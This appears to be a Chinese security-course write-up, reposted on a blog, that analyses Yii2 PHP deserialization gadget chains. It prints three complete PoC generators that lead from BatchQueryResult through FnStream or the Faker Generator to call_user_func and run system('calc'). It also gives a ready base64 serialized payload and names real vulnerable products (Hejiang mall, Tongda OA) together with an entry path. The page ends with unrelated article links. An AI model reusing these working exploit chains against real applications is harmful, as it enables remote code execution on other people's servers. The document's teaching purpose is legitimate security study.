当前位置: 首页 > ai >正文

小迪安全-112-yii反序列化链,某达oa,某商场,影响分析

yii是和tp一样的框架 

入口文件

web目录下

相对tp比较简单一些,对比tp找一下他的url结构

对应的位置结构

这个contorllers文件的actionindex就是触发的方法

控制器,指向的index文件,就可以去视图模块看index文件

这就是前端展示的文件

自己创建个新的文件访问试试

访问到了test/test文件,返回了123,这个需要文件名字和上一个模板原因,利用类的格式也是,都需要调用,跟tp差不多

例如有反序列化入口怎么构造poc

这里就有接受序列化数值,并且进行反序列化操作的入口

思路和tp一样,

全局搜索销毁函数

来到这个文件下

记录一下文件名字和类

跟踪一下reset

跟到这里就没有了,close跟到也是没什么东西,但这里datareader是可控的,可以赋值给一个不存在的方法,触发--call

这里用到第二个思路,直接找call_user_func  逆跟

搜到了一个,同文件下面还有一个close方法直接返回func的值

这里记录一下命名空间和类,用到close方法

这里就已经可以构造链了

在这里让datareader等于 new  FnStream这个对象再去触发close的时候就等于触发的FnStream对象的close

开始构造pop链

这里按照笔记顺序先写上面的再写下面的

先写个固定模板

这里就是use  第一个命名空间和类,然后声明一个新的对象

然后在上面写第一个链

第一个链写好之后就想办法给_fn_close可控,造成危害

然后在第一个链上面写第二个链

生成base64加密的反序列化值

TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoyNDoiR3V6emxlSHR0cFxQc3I3XEZuU3RyZWFtIjoxOntzOjk6Il9mbl9jbG9zZSI7czo3OiJwaHBpbmZvIjt9fQ

代码执行成功

看一下debug流程

直接看触发销毁函数的地方

datareader等于要触发类

到close的时候就执行了phpinfo

poc1

<?php
namespace GuzzleHttp\Psr7{//第二个链命名空间class FnStream{//第二个链的类var $_fn_close="phpinfo";//创建变量值为phpinfo}
}namespace yii\db{//第一个链的命名空间use GuzzleHttp\Psr7\FnStream;//因为调用FnStream类所以需要包含这个类class BatchQueryResult{//第一个链的类private $_dataReader;//变量值public function __construct()//创建方法{$this->_dataReader = new FnStream();//变量赋值为FnStream}}
}namespace {use yii\db\BatchQueryResult;echo base64_encode(serialize( new BatchQueryResult()));//new是为了调用BatchQueryResult形成__destruct()-》reset()}

第二个链

给一个不存在的方法去出发--call

全局搜索看看可利用的call

记录文件名字,命名空间和类

然后跟踪一下format

看到了func-array,但是很遗憾,变量arguments被固定了,没法利用

然后这个人就去找单函数的

全局搜call_user_func(

关于两个值,在本文将没有看到,就转到声明

这两个赋值就可以

ok,开始构造链

poc2

<?phpnamespace yii\rest{class IndexAction{public $checkAccess='system';public $id='calc';}
}namespace Faker{use yii\rest\IndexAction;class Generator{protected $formatters;public function __construct(){$this->formatters['close'] = [new IndexAction(),'run'];//数组格式赋值,控制第一个值调用run方法}}
}namespace yii\db{//第一个链的命名空间,因为来源于第一个链的命名空间use Faker\Generator;//因为调用Generator类所以需要包含这个类class BatchQueryResult{//第一个链的类private $_dataReader;//变量值public function __construct()//创建方法{$this->_dataReader = new Generator();//c出发时不沉溺在方法call}}
}namespace {use yii\db\BatchQueryResult;echo base64_encode(serialize( new BatchQueryResult()));//new是为了调用BatchQueryResult形成__destruct()-》reset()}

动态调试看看

运行流程

在close时候给的方法不存在此文件,调用了call

这里数组格式赋值调用了indexaction的run方法

第三链

这里又搜索到一个一样的

构造一下链

<?phpnamespace yii\rest{class CreateAction{public $checkAccess='system';public $id='calc';}
}namespace Faker{use yii\rest\CreateAction;class Generator{protected $formatters;public function __construct(){$this->formatters['close'] = [new CreateAction(),'run'];//数组格式赋值,控制第一个值调用run方法}}
}namespace yii\db{//第一个链的命名空间,因为来源于第一个链的命名空间use Faker\Generator;//因为调用Generator类所以需要包含这个类class BatchQueryResult{//第一个链的类private $_dataReader;//变量值public function __construct()//创建方法{$this->_dataReader = new Generator();//c出发时不沉溺在方法call}}
}namespace {use yii\db\BatchQueryResult;echo base64_encode(serialize( new BatchQueryResult()));//new是为了调用BatchQueryResult形成__destruct()-》reset()}

就只修改第三段链就可以了,而且也只是改一下类和命名空间

每一个链引用的文件都是不一样的,所以多条链路就是挨个调用所需要的类和方法

而这个是要在框架被开发的时候,出现了接受反序列化值而且我们可控可以这个值,就会造成反序列化命令执行漏洞

梳理流程txt文件

vendor/yiisoft/yii2/db/BatchQueryResult.php
__destruct()-》reset()
命名空间:namespace yii\db;  类:class BatchQueryResult      

vendor/yiisoft/yii2/db/BatchQueryResult.php
_dataReader(可赋值)
命名空间:namespace yii\db;  类:class BatchQueryResult

_dataReader=new FnStream -》close()


namespace GuzzleHttp\Psr7; class FnStream
close()
return call_user_func($this->_fn_close);


第一个思路,直接找call-user-func  逆跟


poc2

vendor/yiisoft/yii2/db/BatchQueryResult.php
__destruct()-》reset()
命名空间:namespace yii\db;  类:class BatchQueryResult      

vendor/yiisoft/yii2/db/BatchQueryResult.php
_dataReader(可赋值)
命名空间:namespace yii\db;  类:class BatchQueryResult

_dataReader=错误方法 -》call方法

vendor/fzaninotto/faker/src/Faker/Generator.php
namespace Faker;  class Generator
call()->format()->call_user_func_array();;formattters('close') = [new indexaction(),'run']

call_user_func_array($this->getFormatter($formatter), $arguments);$arguments被固定了
但可以控制$formatter调用方法

call_user_func_array(“new IndexAction.run()”就能调用下一个链执行命令

vendor/yiisoft/yii2/rest/IndexAction.php
namespace yii\rest; class IndexAction
call_user_func($this->checkAccess, $this->id);


poc3
vendor/yiisoft/yii2/rest/CreateAction.php
namespace yii\rest;  class CreateAction
call_user_func($this->checkAccess, $this->id);

案例一 禾匠商城

https://zhuanlan.zhihu.com/p/526291918

就在这里因为json-decode失败之后

就会进入变量res = unseriailize反序列化执行

就可以利用刚刚写好的链

案例二 通达oa反序列化

奇安信攻防社区-通达OA反序列化分析

使用了yii2.0.13版本

正常解密源码

怎么判断是yii框架

一艘关键字,getversion就找到了这个,文件名字也是yii

这个方法使用了unserialize函数

这里就使用了反推方法,先找了最后触发点,然后往前找

在全局搜索

这里引用过

搜索到loadcsrftokne引用过

getcsrftoken引用过

最后csrgmatggs引用过

这就马上就能找到入口文件了

看poc。入口是以cookie发送过去,访问

/general/appbuilder/web/portal/gateway/

目录

变量data就是cookie里面的数据
但是原有的链用不了,都被改了

就只能自己在找新的反序列化链

前面流程在找到close方法都是一样的

close方法发送了更改,然后在找call方法

然后剩下的看链接地址,里面有挨个链路分析,挺长的

额,这节课感觉小迪留后手了,讲的很水

jian

kang

http://www.xdnf.cn/news/954.html

相关文章:

  • MMIO、IOMAP 和 IOMMU 总结
  • 【Easylive】使用Seata解决分布式事务问题
  • Android 中实现 GIF 图片动画
  • three.js中的instancedMesh类优化渲染多个同网格材质的模型
  • 《AI大模型应知应会100篇》第31篇:大模型重塑教育:从智能助教到学习革命的实践探索
  • 【大数据、数据开发与数据分析面试题汇总(含答案)】
  • langchain +ollama +chroma+embedding模型实现RAG入门级Demo(python版)
  • 量化交易 - RSRS(阻力支撑相对强度)- 正确用法 - 年均收益18%
  • EMQX安装使用和客户端认证
  • Kubernetes 节点摘除指南
  • LintCode第107题-单词拆分
  • 全排列问题cpp
  • Discuz论坛网站忘记管理员密码进不去管理中心怎么办?怎么改管理员密码?
  • stc32单片机实现串口2M波特率满带宽传输
  • C#接口开发异常:System.Web.HttpRequestValidationException
  • Linux421用户、组
  • qt画一朵花
  • ​001-内网穿透工具
  • 20250421在荣品的PRO-RK3566开发板的Android13下使用io命令控制GPIO
  • ArcGIS、ArcMap查看.shp文件时属性表中文乱码
  • 软件工程师中级考试-上午知识点总结(下)
  • Linux内核开发常用函数
  • Git创建空分支并推送到远程仓库
  • 大模型中超参数TopK是什么
  • 密码明文放在请求体是否有安全隐患?
  • 前端实战-AJAX
  • Spark(19)Yarn-tool接口
  • 力扣热题100——矩阵
  • 安卓的桌面 launcher是什么
  • 【AI】SpringAI 第三弹:接入通用大模型平台